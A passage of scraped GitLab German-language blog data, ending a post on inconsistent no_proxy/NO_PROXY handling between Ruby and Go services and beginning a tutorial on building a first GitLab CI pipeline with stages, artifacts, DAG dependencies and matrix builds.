verwendet wird:\n\n```sh\n$ env https_proxy=http://non.existent/ no_proxy=.gitlab.com wget https://gitlab.com\nResolving non.existent (non.existent)... failed: Name or service not known.\nwget: unable to resolve host address 'non.existent'\n```\n\nIn keiner der Implementierungen werden reguläre Ausdrücke unterstützt. Die Verwendung von Regexes würde die Angelegenheit zusätzlich verkomplizieren, da es verschiedene Varianten gibt (z. B. PCRE, POSIX usw.). Darüber hinaus führen Regexes zu potenziellen Leistungs- und Sicherheitsproblemen.\n\nIn einigen Fällen können Proxys durch das Setzen der `no_proxy`-Variable auf * vollständig deaktiviert werden, aber dies ist keine allgemeingültige Regel. Keine Implementierung führt einen DNS-Lookup durch, um einen Hostnamen in eine IP-Adresse aufzulösen, wenn entschieden wird, ob ein Proxy verwendet werden soll. Daher sollten keine IP-Adressen in der `no_proxy`-Variable angegeben werden, es sei denn, es wird erwartet, dass die IPs explizit vom Client verwendet werden.\n\nDasselbe gilt für CIDR-Blöcke wie z. B. 18.240.0.1/24. CIDR-Blöcke funktionieren nur, wenn die Anfrage direkt an eine IP-Adresse gestellt wird. Nur Go und Ruby erlauben die Verwendung von CIDR-Blöcken. Im Gegensatz zu anderen Implementierungen deaktiviert Go sogar automatisch die Verwendung eines Proxys, wenn eine Loopback-IP-Adresse erkannt wird.\n\n## Fehlerbehebung bei Proxy-Konfigurationen: Wie unterschiedliche no_proxy-Einstellungen GitLab-Prozesse beeinträchtigen\n\nWenn die Anwendung in mehreren Sprachen geschrieben ist und hinter einer Unternehmensfirewall mit einem Proxyserver arbeiten muss, solltest du auf diese Unterschiede achten. GitLab besteht zum Beispiel aus einigen in Ruby und Go geschriebenen Diensten. Ein Kunde hat seine Proxy-Konfiguration in etwa wie folgt eingestellt:\n\n```yaml\nHTTP_PROXY: http://proxy.company.com\nHTTPS_PROXY: http://proxy.company.com\nNO_PROXY: .correct-company.com\n```\n\nDer Kunde meldete das folgende Problem mit GitLab:\n\n1. Ein `git push` über die Befehlszeile funktionierte\n2. Über die Web-UI vorgenommene Git-Änderungen schlugen fehl\n\nUnsere Support-Techniker stellten fest, dass aufgrund eines Konfigurationsproblems bei [Kubernetes](https://about.gitlab.com/de-de/solutions/kubernetes/ \"Kubernetes\") einige veraltete Werte zurückblieben. Der Pod hatte eine Umgebung, die in etwa so aussah:\n\n```yaml\nHTTP_PROXY: http://proxy.company.com\nHTTPS_PROXY: http://proxy.company.com\nNO_PROXY: .correct-company.com\nno_proxy: .wrong-company.com\n```\n\nDie inkonsistenten Definitionen in `no_proxy` und `NO_PROXY` waren ein Warnsignal, und wir hätten das Problem lösen können, indem wir sie konsistent gemacht oder den falschen Eintrag entfernt hätten. Aber sehen wir uns an, was passiert ist:\n\n1. Ruby versucht es zuerst mit der kleingeschriebenen Variante\n2. Go versucht es zuerst mit der Variante in Großbuchstaben\n\nInfolgedessen hatten in Go geschriebene Dienste wie GitLab Workhorse die richtige Proxy-Konfiguration. Ein `git push` von der Befehlszeile aus funktionierte problemlos, da die Go-Dienste diesen Vorgang primär abwickelten:\n\n```mermaid\nsequenceDiagram\n    autonumber\n    participant C as Client\n    participant W as Workhorse\n    participant G as Gitaly\n    C->>W: git push\n    W->>G: gRPC: PostReceivePack\n    G->>W: OK\n    W->>C: OK\n```\n\nDer gRPC-Aufruf in Schritt 2 hat nie versucht, den Proxy zu verwenden, da `no_proxy` richtig konfiguriert wurde, um eine direkte Verbindung zu Gitaly herzustellen.\n\nWenn jedoch ein(e) Benutzer(in) eine Änderung in der Bedienoberfläche vornimmt, leitet Gitaly die Anfrage an einen `gitaly-ruby`-Service weiter, der in Ruby geschrieben ist.  `gitaly-ruby` nimmt Änderungen am Repository vor und meldet diese über einen gRPC-Aufruf an seinen übergeordneten Prozess zurück. Wie in Schritt 4 unten zu sehen ist, fand der Reporting-Schritt jedoch nicht statt:\n\n```mermaid\nsequenceDiagram\n    autonumber\n    participant C as Client\n    participant R as Rails\n    participant G as Gitaly\n    participant GR as gitaly-ruby\n    participant P as Proxy\n    C->>R: Change file in UI\n    R->>G: gRPC: UserCommitFiles\n    G->>GR: gRPC: UserCommitFiles\n    GR->>P: CONNECT\n    P->>GR: FAIL\n```\n\nDa gRPC HTTP/2 als Transport verwendet, versuchte  `gitaly-ruby` einen CONNECT zum Proxy, da es mit der falschen `no_proxy`-Einstellung konfiguriert war. Der Proxy lehnte diese HTTP-Anfrage sofort ab, was den Fehler im Web-UI-Push-Case verursachte.\n\nNachdem wir den Kleinbuchstaben `no_proxy` aus der Umgebung entfernt hatten, funktionierte der Push von der Bedienoberfläche wie erwartet, und  `gitaly-ruby` verband sich direkt mit dem übergeordneten Gitaly-Prozess. Schritt 4 funktionierte, wie im folgenden Diagramm dargestellt:\n\n```mermaid\nsequenceDiagram\n    autonumber\n    participant C as Client\n    participant R as Rails\n    participant G as Gitaly\n    participant GR as gitaly-ruby\n    participant P as Proxy\n    C->>R: Change file in UI\n    R->>G: gRPC: UserCommitFiles\n    G->>GR: gRPC: UserCommitFiles\n    GR->>G: OK\n    G->>R: OK\n    R->>C: OK\n```\n\n### Eine überraschende Entdeckung mit gRPC\n\nBeachte, dass der Kunde `HTTPS_PROXY` auf einen unverschlüsselten `HTTP_PROXY` gesetzt hat; beachte, dass `http://` anstelle von `https://` verwendet wird. Dies ist zwar vom Standpunkt der Sicherheit aus nicht ideal, aber es kann gemacht werden, um zu vermeiden, dass Clients aufgrund von Problemen bei der TLS-Zertifikatsüberprüfung scheitern.\n\nIronischerweise wäre dieses Problem nicht aufgetreten, wenn ein HTTPS-Proxy angegeben worden wäre. Wenn ein HTTPS-Proxy verwendet wird, ignoriert gRPC diese Einstellung, da HTTPS-Proxys nicht unterstützt werden.\n\n## Der kleinste gemeinsame Nenner\n\nMan sollte niemals inkonsistente Werte mit Proxy-Einstellungen in Klein- und Großbuchstaben definieren. Falls du allerdings jemals einen Stack verwalten musst, der in mehreren Sprachen geschrieben ist, solltest du in Erwägung ziehen, HTTP-Proxy-Konfigurationen auf den kleinsten gemeinsamen Nenner zu setzen:\n\n#### `http_proxy` und `https_proxy`\n\n* Verwende die Kleinschreibung. `HTTP_PROXY`  wird nicht immer unterstützt oder empfohlen.\n    * Wenn du unbedingt die Variante mit Großbuchstaben verwenden musst, achte darauf, dass sie denselben Wert hat.\n\n#### `no_proxy`\n\n1. Verwende die Kleinschreibung.\n2. Nutze durch Kommas getrennte `hostname:port` Werte.\n3. IP-Adressen sind okay, aber Hostnamen werden nie aufgelöst. \n4. Endungen werden immer zugeordnet (z.B. `example.com` wird `test.example.com` zugeordnet).\n5. Wenn Top-Level-Domains abgeglichen werden müssen, solltest du einen vorangestellten Punkt vermeiden (.).\n6. Vermeide die Verwendung von CIDR-Matching, da dies nur von Go und Ruby unterstützt wird.\n\n## Standardisierung von `no_proxy`\n\nDie Kenntnis des kleinsten gemeinsamen Nenners kann helfen, Probleme zu vermeiden, wenn diese Definitionen für verschiedene Webclients kopiert werden. Aber sollte es für `no_proxy` und die anderen Proxy-Einstellungen einen dokumentierten Standard geben und nicht nur eine Ad-hoc-Übereinstimmung? Die folgende Liste kann als Ausgangspunkt für einen Vorschlag dienen:\n\n1. Bevorzugung von Kleinbuchstaben gegenüber Großbuchstaben bei Variablen (z. B.  `http_proxy` sollte vor `HTTP_PROXY` gesucht werden).\n2. Verwende durch  Kommas getrennte Werte für `hostname:port`.\n    * Jeder Wert kann optionale Leerzeichen enthalten.\n3. Führe niemals DNS-Lookups durch und verwende keine regulären Formeln.\n4. Nutze `*` um alle Hosts zu verbinden.\n5. Führende Punkte (`.`) werden entfernt und mit Domain-Suffixen abgeglichen.\n6. Unterstützung des CIDR-Blockabgleichs.\n7. Stelle niemals Vermutungen über spezielle IP-Adressen an (z. B. Loopback-IP-Adressen in `no_proxy`).\n\n## Fazit \n\nSeit der Veröffentlichung des ersten Web-Proxys sind über 25 Jahre vergangen. Obwohl sich die grundlegenden Mechanismen zur Konfiguration eines Webclients über Umgebungsvariablen (wie z. B. environment no_proxy/env no_proxy) kaum verändert haben, haben sich bei den verschiedenen Implementierungen zahlreiche Feinheiten herausgebildet. Ein Beispiel aus der Praxis zeigt, dass die irrtümliche Definition widersprüchlicher `no_proxy`- und `NO_PROXY`-Variablen zu stundenlanger Fehlersuche führte, da Ruby und Go diese Einstellungen unterschiedlich auswerten. Das Hervorheben dieser Unterschiede kann helfen, zukünftige Probleme in deinem Produktions-Stack zu vermeiden. Es wäre wünschenswert, dass Webclient-Maintainer das Verhalten standardisieren, um solche Probleme von vornherein auszuschließen.",[270,3463,2822,3725],"startups","2024-10-09",{"slug":3728,"featured":6,"template":682},"we-need-to-talk-no-proxy","content:de-de:blog:we-need-to-talk-no-proxy.yml","We Need To Talk No Proxy","de-de/blog/we-need-to-talk-no-proxy.yml","de-de/blog/we-need-to-talk-no-proxy",{"_path":3734,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3735,"content":3741,"config":3746,"_id":3748,"_type":16,"title":3749,"_source":17,"_file":3750,"_stem":3751,"_extension":20},"/de-de/blog/basics-of-gitlab-ci-updated",{"title":3736,"description":3737,"ogTitle":3736,"ogDescription":3737,"noIndex":6,"ogImage":3738,"ogUrl":3739,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3739,"schema":3740},"Grundlagen der GitLab-CI-Pipeline: Aufgaben sequenziell parallel oder ohne Reihenfolge ausführen","Neu in der Continuous Integration? Erfahre, wie du deine erste CI-Pipeline mit GitLab erstellst.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662061/Blog/Hero%20Images/cicdcover.png","https://about.gitlab.com/blog/basics-of-gitlab-ci-updated","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Grundlagen der GitLab-CI-Pipeline: Aufgaben sequenziell parallel oder ohne Reihenfolge ausführen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2020-12-10\",\n      }",{"title":3736,"description":3737,"authors":3742,"heroImage":3738,"date":3743,"body":3744,"category":847,"tags":3745,"updatedDate":3542},[866],"2020-12-10","Nehmen wir an, dass du nichts über [kontinuierliche Integration\n(CI)](/topics/ci-cd/) and [why it's\nneeded](/blog/how-to-keep-up-with-ci-cd-best-practices/) weißt\nund darüber, warum sie im Lebenszyklus der Softwareentwicklung benötigt\nwird.\n\n\n## Inhaltsverzeichnis\n\n- [Der erste Test in CI](#der-erste-test-in-ci)\n\n- [Ergebnisse von Builds zum Herunterladen\nbereitstellen](#ergebnisse-von-builds-zum-herunterladen-bereitstellen)\n\n- [Aufträge der Reihe nach ausführen](#aufträge-der-reihe-nach-ausführen)\n\n- [Welches Docker Image muss verwendet\nwerden?](#welches-docker-image-muss-verwendet-werden%3F)\n\n- [Umgang mit komplexen Szenarien](#umgang-mit-komplexen-szenarien)\n\n- [Umgang mit fehlender\nSoftware/Paketen](#umgang-mit-fehlender-softwarepaketen)\n\n- [Directed Acyclic Graphs: Schnellere und flexiblere\nPipelines](#directed-acyclic-graphs-schnellere-und-flexiblere-pipelines)\n\n- [Wie wertest du deine Pipeline\nauf?](#wie-wertest-du-deine-pipeline-auf%3F)\n  - [Automatisierte Tests in CI-Pipelines einbinden](#automatisierte-tests-in-ci-pipelines-einbinden)\n  - [Matrix-Builds](#matrix-builds)\n- [Unit-Tests](#unit-tests)\n  - [Was sind Unit-Tests?](#was-sind-unit-tests%3F)\n  - [Best Practices für Unit-Tests](#best-practices-für-unit-tests)\n    - [JUnit Test-Report](#junit-test-report)\n- [Strategien für Integrations- und\nEnd-to-End-Tests](#strategien-für-integrations--und-end-to-end-tests)\n\n- [Testumgebung](#testumgebung)\n\n- [Implementierung von Sicherheitsscans in\nCI-Pipelines](#implementierung-von-sicherheitsscans-in-ci-pipelines)\n  - [SAST und DAST-Integration](#sast-und-dast-integration)\n- [Zusammenfassung](#zusammenfassung)\n\n- [Beschreibungen der Keywords](#beschreibungen-der-keywords)\n\n\nStell dir vor, du arbeitest an einem Projekt, bei dem der gesamte Code aus\nzwei Textdateien besteht. Dabei ist es sehr wichtig, dass die Verkettung\ndieser beiden Dateien die Phrase „Hello world\" enthält.\n\n\nWenn das nicht der Fall ist, wird das gesamte Development-Team in diesem\nMonat nicht bezahlt. Ja, so ernst ist es!\n\n\nDer oder die verantwortliche Softwareentwickler(in) hat ein kleines Skript\ngeschrieben, das jedes Mal ausgeführt wird, wenn wir unseren Code an die\nKunden senden wollen.\n\n\nDer Code ist ziemlich komplex:\n\n\n```bash\n\ncat file1.txt file2.txt | grep -q \"Hello world\"\n\n```\n\n\nDas Problem ist, dass das Team aus 10 Entwickler(inne)n besteht. Da bleiben\nmenschliche Fehler nicht aus.\n\n\nVor einer Woche vergaß einer der Mitarbeiter(innen), das Skript auszuführen,\nund drei Kund(inn)en erhielten fehlerhafte Builds. Also hast du beschlossen,\ndieses Problem endgültig zu lösen. Glücklicherweise befindet sich der Code\nbereits auf GitLab, und du erinnerst dich, dass es eine [integrierte\nCI](/de-de/solutions/continuous-integration/) gibt. Zudem hast du auf einer\nKonferenz gehört, dass viele Entwickler(innen) eine CI verwenden, um Tests\ndurchzuführen...\n\n\n## Der erste Test in CI\n\n\nNach ein paar Minuten Suche und Lesen der Dokumentation scheint es, dass wir\nnur diese zwei Codezeilen benötigen, die wir in einer Datei namens\n.gitlab-ci.yml finden:\n\n\n```yaml\n\ntest:\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n```\n\n\nWir übertragen die Zeilen, und siehe da– unser Build ist erfolgreich:\n\n\n![build\nsucceeded](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/build_succeeded.png)\n\n\nNun ändern wir in der zweiten Datei \"World\" zu \"Africa\" und prüfen, was\npassiert:\n\n\n![build\nfailed](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/build_failed.png)\n\n\nDer Build schlägt wie erwartet fehl!\n\n\nNun haben wir hier automatisierte Tests! GitLab CI führt unser Testskript\njedes Mal aus, wenn wir neuen Code in das Quellcode-Repository in der\nDevOps-Umgebung übertragen.\n\n\n**Hinweis:** Im obigen Beispiel gehen wir davon aus, dass file1.txt und\nfile2.txt auf dem Runner-Host vorhanden sind.\n\n\nUm dieses Beispiel in GitLab auszuführen, verwende den folgenden Code, der\nzunächst die Dateien erstellt und dann das Skript ausführt.\n\n\n```yaml\n\ntest:\n\nbefore_script:\n      - echo \"Hello \" > | tr -d \"\\n\" | > file1.txt\n      - echo \"world\" > file2.txt\nscript: cat file1.txt file2.txt | grep -q 'Hello world'\n\n```\n\n\nAus Gründen der Übersichtlichkeit gehen wir davon aus, dass diese Dateien\nauf dem Host vorhanden sind und werden sie in den folgenden Beispielen nicht\nerstellen.\n\n\n## Ergebnisse von Builds zum Herunterladen bereitstellen\n\n\nDie nächste Anforderung besteht darin, den Code zu paketieren, bevor wir ihn\nan unsere Kunden senden. Lass uns auch diesen Teil des\nSoftwareentwicklungsprozesses automatisieren!\n\n\nAlles, was wir machen müssen, ist, einen weiteren Job für CI zu definieren.\nNennen wir den Auftrag mal „Package\":\n\n\n```yaml\n\ntest:\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n\npackage:\n  script: cat file1.txt file2.txt | gzip > package.gz\n```\n\n\nNun haben wir zwei Tabs:\n\n\n![Two tabs - generated from two\njobs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/two_tabs.png)\n\n\nWir haben jedoch vergessen anzugeben, dass die neue Datei ein Build-Artefakt\nist, damit sie heruntergeladen werden kann. Wir können dies beheben, indem\nwir einen Abschnitt für Artifacts hinzufügen:\n\n\n```yaml\n\ntest:\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n\npackage:\n  script: cat file1.txt file2.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n```\n\n\nChecking... it is there:\n\n\n![Checking the download\nbutton](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/artifacts.png)\n\n\nSo klappt's. Wir haben jedoch noch ein Problem zu lösen: Die Aufträge laufen\nparallel, aber wir wollen unsere Anwendung nicht paketieren, wenn unsere\nTests fehlschlagen.\n\n\n## Aufträge der Reihe nach ausführen\n\n\nDer Auftrag „Paket\" soll nur ausgeführt werden, wenn die Tests erfolgreich\nsind. Definieren wir die Reihenfolge, indem wir stages angeben:\n\n\n```yaml\n\nstages:\n  - test\n  - package\n\ntest:\n  stage: test\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n\npackage:\n  stage: package\n  script: cat file1.txt file2.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n```\n\n\nDas sollte funktionieren!\n\nAußerdem haben wir vergessen zu erwähnen, dass die Zusammenstellung (die in\nunserem Fall durch Verkettung dargestellt wird) eine Weile dauert, sodass\nwir sie nicht zweimal ausführen wollen. Definieren wir also einen separaten\nSchritt dafür:\n\n\n```yaml\n\nstages:\n  - compile\n  - test\n  - package\n\ncompile:\n  stage: compile\n  script: cat file1.txt file2.txt > compiled.txt\n  artifacts:\n    paths:\n    - compiled.txt\n\ntest:\n  stage: test\n  script: cat compiled.txt | grep -q 'Hello world'\n\npackage:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n```\n\n\nLass uns jetzt auf unsere Artifacts an:\n\n\n![Unnecessary\nartifact](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/clean-artifacts.png)\n\n\nWir brauchen diese „Kompilierungsdatei\" nicht zum Herunterladen. Deshalb\nlassen wir unsere temporären Artefakte ablaufen, indem wir expire_in auf „20\nMinuten\" setzen:\n\n\n```yaml\n\ncompile:\n  stage: compile\n  script: cat file1.txt file2.txt > compiled.txt\n  artifacts:\n    paths:\n    - compiled.txt\n    expire_in: 20 minutes\n```\n\n\nJetzt sieht unsere Konfiguration ziemlich beeindruckend aus:\n\n\n- Wir haben drei aufeinanderfolgende Phasen zum Kompilieren, Testen und\nPaketieren unserer Anwendung.\n\n- Wir übergeben die kompilierte Anwendung an die nächsten Stufen, damit die\nKompilierung nicht zweimal ausgeführt werden muss (und somit schneller\nläuft).\n\n- Wir speichern eine paketierte Version unserer Anwendung in\nBuild-Artefakten für die weitere Verwendung.\n\n\n## Welches Docker Image muss verwendet werden?\n\n\nEs scheint, dass unsere Builds immer noch langsam sind. Werfen wir einen\nBlick auf die Protokolle.\n\n\n![ruby3.1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/ruby-31.png)\n\n\nWas ist Ruby 3.1?\n\n\nGitLab.com verwendet Docker-Images, um unsere\n[Builds](/blog/shared-runners/) auszuführen, und\n[standardmäßig](https://docs.gitlab.com/ee/user/gitlab_com/#shared-runners)\nwird das [`ruby:3.1`](https://hub.docker.com/_/ruby/)-Image verwendet.\nDieses Image enthält natürlich viele Pakete, die wir nicht brauchen. Nach\neiner Minute des Googlens finden wir heraus, dass es ein Image namens\n[`alpine`](https://hub.docker.com/_/alpine/) gibt, das ein fast leeres\nLinux-Image ist.\n\n\nWir geben also explizit an, dass wir dieses Image verwenden wollen, indem\nwir image: alpine` to `.gitlab-ci.yml`.\n\n\nWir haben so drei Minuten gespart:\n\n\n![Build speed\nimproved](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/speed.png)\n\n\nEs sieht so aus, als gäbe es viele öffentliche Images:\n\n- [mysql](https://hub.docker.com/_/mysql/)\n\n- [Python](https://hub.docker.com/_/python/)\n\n- [Java](https://hub.docker.com/_/java/)\n\n- [php](https://hub.docker.com/_/php/)\n\n\nWir können also einfach eines für unseren Technologie-Stack nehmen. Es ist\nsinnvoll, ein Image anzugeben, das keine zusätzliche Software enthält, da\ndies die Downloadzeit verringert.\n\n\n## Umgang mit komplexen Szenarien\n\n\nNehmen wir nun aber an, wir haben neue Kund(inn)en, die möchten, dass wir\nunsere Anwendung in ein .iso-Image statt in ein .gz-Image packen. ISO-Images\nkönnen mit dem Befehl\n[mkisofs](http://www.w3big.com/linux/linux-comm-mkisofs.html) erstellt\nwerden. Da CI die ganze Arbeit erledigt, können wir einfach einen weiteren\nJob hinzufügen. Darauf basierend sollte unsere Konfiguration so aussehen:\n\n\n```yaml\n\nimage: alpine\n\n\nstages:\n  - compile\n  - test\n  - package\n\n# ... \"compile\" and \"test\" jobs are skipped here for the sake of compactness\n\n\npack-gz:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n\npack-iso:\n  stage: package\n  script:\n  - mkisofs -o ./packaged.iso ./compiled.txt\n  artifacts:\n    paths:\n    - packaged.iso\n```\n\n\nBeachte, dass die Auftragsnamen nicht unbedingt gleich sein sollten. Wären\nsie identisch, wäre es nicht möglich, die Aufträge innerhalb derselben Phase\ndes Softwareentwicklungsprozesses parallel laufen zu lassen. Sollte es daher\ndoch mal vorkommen, kannst du das getrost als Zufall betrachten.\n\n\nWie dem auch sei, zurück zu unserem Job, da läuft es nicht recht rund – der\nBuild schlägt fehl:\n\n\n![Failed build because of missing\nmkisofs](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/mkisofs.png)\n\n\n`mkisofs` ist nicht im `alpine` Image mit dabei, also müssenw ir es erstmal\ninstallieren.\n\n\n## Umgang mit fehlender Software/Paketen\n\n\nLaut der [Alpine Linux\nwebsite](https://pkgs.alpinelinux.org/contents?file=mkisofs&path=&name=&branch=edge&repo=&arch=)\nist mkisofs Teil der Pakete xorriso und cdrkit. Dies sind die Befehle, die\nwir ausführen müssen, um ein Paket zu installieren:\n\n\n```bash\n\necho \"ipv6\" >> /etc/modules  # enable networking\n\napk update                   # update packages list\n\napk add xorriso              # install package\n\n```\n\n\nFür CI sind dies die gleichen Befehle wie für alle anderen. Die vollständige\nListe der Befehle, die wir dem Skriptabschnitt übergeben müssen, sollte wie\nfolgt aussehen:\n\n\n```yml\n\nscript:\n\n- echo \"ipv6\" >> /etc/modules\n\n- apk update\n\n- apk add xorriso\n\n- mkisofs -o ./packaged.iso ./compiled.txt\n\n```\n\n\nUm es jedoch semantisch korrekt zu machen, sollten wir die Befehle, die sich\nauf die Paketinstallation beziehen, in before_script unterbringen. Beachte,\ndass, wenn du before_script auf der obersten Ebene einer Konfiguration\nverwendest, die Befehle vor allen Aufträgen ausgeführt werden. In unserem\nFall wollen wir nur, dass sie vor einem bestimmten Auftrag ausgeführt\nwerden.\n\n\n## Directed Acyclic Graphs: Schnellere und flexiblere Pipelines\n\n\nWir haben die Stufen so definiert, dass die Paketaufgaben nur ausgeführt\nwerden, wenn die Tests bestanden wurden. Was aber, wenn wir die\nPhasenabfolge ein wenig aufbrechen und einige Aufträge früher ausführen\nwollen, auch wenn sie in einer späteren Phase definiert sind? In einigen\nFällen kann die herkömmliche Phasenabfolge die Gesamtausführungszeit der\nPipeline verlangsamen.\n\n\nStell dir vor, dass unsere Testphase einige umfangreichere Tests enthält,\nderen Ausführung viel Zeit in Anspruch nimmt und diese Tests nicht unbedingt\nmit den Paketaufgaben zusammenhängen. In diesem Fall wäre es effizienter,\nwenn die Paketaufgaben nicht auf den Abschluss dieser Tests warten müssten,\nbevor sie beginnen können. An dieser Stelle kommen Directed Acyclic Graphs\n(DAG) ins Spiel: Um die Phasenreihenfolge für bestimmte Aufträge zu\nunterbrechen, kannst du Abhängigkeiten von Aufgaben definieren, die die\nreguläre Phasenreihenfolge übergehen.\n\n\nGitLab verfügt über ein spezielles Keyword „needs\", das Abhängigkeiten\nzwischen Aufträgen schafft und es ermöglicht, Aufträge früher auszuführen,\nsobald ihre abhängigen Aufträge abgeschlossen sind.\n\n\nIm folgenden Beispiel werden die Paketaufgaben ausgeführt, sobald der\nTestjob abgeschlossen ist. Wenn also in Zukunft jemand weitere Tests in der\nTestphase hinzufügt, beginnen die Paketjobs zu laufen, bevor die neuen\nTestjobs abgeschlossen sind\n\n\n```yaml\n\npack-gz:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.gz\n\npack-iso:\n  stage: package\n  before_script:\n  - echo \"ipv6\" >> /etc/modules\n  - apk update\n  - apk add xorriso\n  script:\n  - mkisofs -o ./packaged.iso ./compiled.txt\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.iso\n```\n\n\nUnsere finale Version von: `.gitlab-ci.yml`:\n\n\n```yaml\n\nimage: alpine\n\n\nstages:\n  - compile\n  - test\n  - package\n\ncompile:\n  stage: compile\n  before_script:\n      - echo \"Hello  \" | tr -d \"\\n\" > file1.txt\n      - echo \"world\" > file2.txt\n  script: cat file1.txt file2.txt > compiled.txt\n  artifacts:\n    paths:\n    - compiled.txt\n    expire_in: 20 minutes\n\ntest:\n  stage: test\n  script: cat compiled.txt | grep -q 'Hello world'\n\npack-gz:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.gz\n\npack-iso:\n  stage: package\n  before_script:\n  - echo \"ipv6\" >> /etc/modules\n  - apk update\n  - apk add xorriso\n  script:\n  - mkisofs -o ./packaged.iso ./compiled.txt\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.iso\n```\n\n\nWir haben gerade eine Pipeline erstellt! Wir haben drei sequenzielle Stufen,\ndie Aufträge `pack-gz` und `pack-iso` innerhalb der package-Stufe laufen\nparallel:\n\n\n![Pipelines\nillustration](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/pipeline.png)\n\n\n## Wie wertest du deine Pipeline auf?\n\n\nSo kannst du deine Pipeline aufwerten.\n\n\n### Automatisierte Tests in CI-Pipelines einbinden\n\n\nEine wichtige Regel der DevOps-Strategie für die Softwareentwicklung besteht\ndarin, wirklich großartige Anwendungen mit erstaunlicher Benutzererfahrung\nzu entwickeln. Fügen wir also einige Tests in unsere CI-Pipeline ein, um\nFehler frühzeitig im gesamten Prozess zu erkennen. Auf diese Weise können\nwir Probleme beheben, bevor sie zu groß werden und bevor wir an einem neuen\nProjekt weiterarbeiten.\n\n\nGitLab macht uns das Leben leichter, indem es fertige Vorlagen für\nverschiedene [Tests](https://docs.gitlab.com/ee/ci/testing/) anbietet.\nAlles, was wir tun müssen, ist, diese Vorlagen in unsere CI-Konfiguration\naufzunehmen.\n\n\nIn diesem Beispiel schließen wir auch\n[Accessibility-Tests](https://docs.gitlab.com/ee/ci/testing/accessibility_testing.html)\nein:\n\n\n```yaml\n\nstages:\n  - accessibility\n\nvariables:\n  a11y_urls: \"https://about.gitlab.com https://www.example.com\"\n\ninclude:\n  - template: \"Verify/Accessibility.gitlab-ci.yml\"\n```\n\n\nPasse die Variable a11y_urls an, um die URLs der Webseiten aufzulisten, die\nmit [Pa11y](https://pa11y.org/) und der\n[Codequalität](https://docs.gitlab.com/ee/ci/testing/code_quality.html)\ngetestet werden sollen.\n\n\n```yaml\n   include:\n   - template: Jobs/Code-Quality.gitlab-ci.yml\n```\n\n\nMit GitLab kannst du den Testbericht direkt im Widget-Bereich der\nZusammenführungsanforderung sehen. Wenn du die Codeüberprüfung, den\nPipelinestatus und die Testergebnisse an einem Ort hast, wird alles\nreibungsloser und effizienter.\n\n\n![Accessibility\nreport](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-02_at_10.56.41.png)\n\n\u003Ccenter>\u003Ci>Widget für die Zusammenführung von\nAccessibility-Anfragen\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n\n![Code quality widget in\nMR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-02_at_11.00.25.png)\n\n\u003Ccenter>\u003Ci>Widget für Zusammenführungsanfragen in Codequalität\u003C/i>\u003C/center>\n\n\n### Matrix-Builds\n\n\nIn einigen Fällen müssen wir unsere Anwendung in verschiedenen\nKonfigurationen, Betriebssystemversionen, Programmiersprachenversionen usw.\ntesten. In diesen Fällen verwenden wir den\n[parallel:matrix](https://docs.gitlab.com/ee/ci/yaml/#parallelmatrix)-Build,\num unsere Anwendung in verschiedenen Kombinationen parallel mit einer\nJob-Konfiguration zu testen. In diesem Artikel werden wir unseren Code mit\nverschiedenen Python-Versionen unter Verwendung des Schlüsselworts matrix\ntesten.\n\n\n```yaml\n\npython-req:\n  image: python:$VERSION\n  stage: lint\n  script:\n    - pip install -r requirements_dev.txt\n    - chmod +x ./build_cpp.sh\n    - ./build_cpp.sh\n  parallel:\n    matrix:\n      - VERSION: ['3.8', '3.9', '3.10', '3.11']   # https://hub.docker.com/_/python\n```\n\n\nWährend der Pipeline-Ausführung wird dieser Auftrag viermal parallel\nausgeführt, wobei jedes Mal ein anderes Python-Image verwendet wird (siehe\nunten):\n\n\n![Matrix job\nrunning](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-02_at_11.12.48.png)\n\n\n### Unit-Tests\n\n\n#### Was sind Unit-Tests?\n\n\nUnit-Tests sind kleine, gezielte Tests, die einzelne Komponenten oder\nFunktionen von Software prüfen, um sicherzustellen, dass sie wie erwartet\nfunktionieren. Sie sind wichtig, um Fehler in einem frühen Stadium des\nSoftwareentwicklungsprozesses aufzuspüren und zu überprüfen, ob jeder Teil\ndes Codes für sich genommen korrekt funktioniert.\n\n\nBeispiel: Stell dir vor, du entwickelst eine Taschenrechner-App. Ein\nUnit-Test für die Additionsfunktion würde prüfen, ob 2 + 2 gleich 4 ist.\nWenn dieser Test erfolgreich ist, bestätigt er, dass die Additionsfunktion\nkorrekt 